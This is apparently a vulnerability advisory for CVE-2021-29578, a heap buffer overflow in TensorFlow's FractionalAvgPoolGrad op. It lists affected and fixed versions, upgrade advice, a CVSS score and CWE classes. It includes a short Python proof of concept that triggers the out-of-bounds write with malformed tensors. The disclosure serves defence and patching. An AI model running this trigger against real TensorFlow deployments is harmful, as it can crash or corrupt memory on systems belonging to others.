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CVE-2021-29578: Heap buffer overflow in `FractionalAvgPoolGrad`

May 21, 2021 (updated November 1, 2024)

The implementation of tf.raw_ops.FractionalAvgPoolGrad is vulnerable to a heap buffer overflow:

import tensorflow as tf

orig_input_tensor_shape = tf.constant([1, 3, 2, 3], shape=[4], dtype=tf.int64)
out_backprop = tf.constant([2], shape=[1, 1, 1, 1], dtype=tf.int64)
row_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)
col_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)


tf.raw_ops.FractionalAvgPoolGrad(
orig_input_tensor_shape=orig_input_tensor_shape, out_backprop=out_backprop,
row_pooling_sequence=row_pooling_sequence,
col_pooling_sequence=col_pooling_sequence, overlapping=False)

References

  • github.com/advisories/GHSA-6f89-8j54-29xf
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-506.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-704.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-215.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/12c727cee857fa19be717f336943d95fca4ffe4f
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-6f89-8j54-29xf
  • nvd.nist.gov/vuln/detail/CVE-2021-29578

Code Behaviors & Features

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Affected versions

All versions before 2.1.4, all versions starting from 2.2.0 before 2.2.3, all versions starting from 2.3.0 before 2.3.3, all versions starting from 2.4.0 before 2.4.2

Fixed versions

  • 2.1.4
  • 2.2.3
  • 2.3.3
  • 2.4.2

Solution

Upgrade to versions 2.1.4, 2.2.3, 2.3.3, 2.4.2 or above.

Impact 7.8 HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Learn more about CVSS

Weakness

  • CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer
  • CWE-787: Out-of-bounds Write

Source file

pypi/tensorflow-gpu/CVE-2021-29578.yml

Spotted a mistake? Edit the file on GitLab.

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